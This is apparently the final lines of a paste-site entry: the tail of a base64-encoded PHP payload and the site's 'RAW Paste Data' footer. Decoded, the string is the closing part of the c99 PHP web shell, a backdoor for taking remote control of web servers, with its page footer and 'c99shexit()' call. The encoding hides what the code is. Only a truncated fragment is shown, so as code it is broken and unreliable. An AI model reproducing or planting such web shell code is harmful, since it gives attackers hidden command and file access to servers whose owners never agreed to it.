NvbG9yPSIjRkYwMDAwIj48L2ZvbnQ+IHwgR2VuZXJhdGlvbiB0aW1lOiA8P3BocCBlY2hvIHJvdW5kKGdldG1pY3JvdGltZSgpLXN0YXJ0dGltZSw0KTsgPz4gXS0tPC9iPjwvcD48L3RkPjwvdHI+PC90YWJsZT4KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGM5OXNoZXhpdCgpOyA='));
  3. ?>
clone this paste RAW Paste Data